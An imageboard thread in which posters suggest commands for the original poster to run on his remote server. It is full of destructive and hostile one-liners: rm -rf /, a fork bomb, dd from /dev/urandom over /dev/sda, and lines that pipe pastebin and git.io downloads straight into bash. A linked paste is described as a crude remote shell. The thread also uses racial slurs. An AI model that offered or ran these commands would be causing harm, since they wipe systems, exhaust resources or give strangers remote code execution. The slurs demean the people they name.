What should I type, /g/?

rm -rf /

echo Fuck you

touch dick

>>58021254
sudo rm -rf /*

wget https://git.io/vpn -O openvpn-install.sh && bash openvpn-install.sh

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>>58021254
ok

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>>58021254
>>58021299

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>>58021254
>>58021299
>>58021306
done

>>58021314
Please hit tab a few times and post results so that we can know what to ask for

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>>58021339
already rebuilt sorry

>>58021260
wish granted

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>>58021269
wish also granted

sudo nano /etc/issue.net

make it say "install gentoo"

>>58021368
Nice.

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>>58021370
and your wish shall be granted

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>>58021370
>>58021392
done

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>>58021370
doesn't do anything anyway

:(){ : | : & } ; :

>>58021438
sudo nano /etc/ssh/sshd_config

uncomment issue.net

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>>58021456

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>>58021476

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hi 58.218.204.189

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wget -q -O - http://pastebin.com/raw/XNwSMJ3h | bash

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lmao you're not going to bruteforce me at this rate

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oh fuck nevermind it's just the chinks

>>58021639
this is why you use a non standard ssh port and disable root log in

Since you have already done rm -rf /, reboot it now.

>>58021655
i'm not worried about it anyway. i'll let them waste their resources on trying to bruteforce me. i'm using an rsa key.

>>58021658
ye I rebuilt it after I did that, it's how I can still execute commands

>>58021673

sudo apt install cmatrix

>>58021639
>>58021614
Can you please share what you ran there to see that?

>>58021639

route add -host 58.218.204.189 reject

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>>58021723

>>58021723
seriously leave this board.

>>58021723
rm -rf /

>>58021227
iptables -A INPUT -j DROP

>>58021749
>>58021760
>>58021762
What's the issue here, kids?

>>58021776
if you're not being sarcastic

grep 'password' /var/log/auth.log

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>>58021805
Sadly no, I didn't know about that file.

Thanks man!

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>>58021712
THE SYSTEM HAS BEEN COMPROMISED
I REPEAT
THE SYSTEM HAS BEEN COMPROMISED
THE CHINESE HACKERS HAVE INFILTRATED THE SYSTEM
DEFCON 1
DEFCON 1

>>58021844
must be a real 1337 haxor doing it

>>58021618
kind of interested to see what the fuck this does though..

>>58021618
I don't get this joke. "While", right?

>>58021886
Looks like it's just a DoS attack.

>>58021227
OP try this shiat.
>>58021618
interested.
apparently it's a ddos attack

>>58021918
yeah um sorry I'm not gonna ddos someone

>>58021973
It's just a Canadian

sudo apt-get install cmatrix
cmatrix

>>58021973
lol it just fills my screen with "get out nigger" when i run it.

do fizzbuzz

>>58021998
already did that
>>58021844

>>58021618
seriously, what does this do? I'm not running it until someone tells me.

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>>58021618

>>58022103
Looks like it opens a connection to that anons port 8001, pipes input from that connection to bash, and then pipes output from bash to his port 8002?

Pretty crude remote shell

>>58021895
I guess, but it's not a very good one. If he approached the task like the joke implies he might, he'd be stuck buying milk forever.

>>58022173
whatever it is, there's some weird shit going on when i connect to it. the fuck. some random keys started coming up and it looked like a conversation was going on

:(){ :|:& };:

>>58021456
What does this do? Anyone care to explain?

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>>58022078
ok

>>58022239
you dumb shit, you actually ran arbitrary code from the internet?

>>58022304
already did:
>>58021485

>>58022306
fork bomb afaik

>>58022307
quoted wrong person for fizzbuzz meant to quote >>58022044

>>58022307
Run this:
http://pastebin.com/EaVzLGSq

>>58022307
I didn't RUN it.. i just connected to the ip in the paste bin article

>>58022323
congratulations he just had the potential to collect your system information transmitted by the connection attempt

>>58022322
>port 1488
kek

>>58022311
that one was wrong
do it faggot

>>58022343
good thing i already did because it's the same command

what if someone did that to my droplet

also to stop the chinks I've tried fail2ban, block root login, dont allow password login, and change the ssh port. any other ideas?

>>58022340
It's the port I run my SSH server on at home too. One time at work my boss asked to use putty on my machine and it came up as the default config. Hope he's not hip to alt-right maymays

>>58022382
i didn't have to do any of that
all you need is an ssh key and you're fine

>>58022322
contacting the university of maryland to find your mac address. if you were on camera near an AP, you'll be found.

>>58022424
lmao okay do it idgaf

>>58022424
And?

dd if=/dev/urandom of=/dev/sda bs=2040

>>58021227
you should vm within a vm and keep doing it until you hit the end.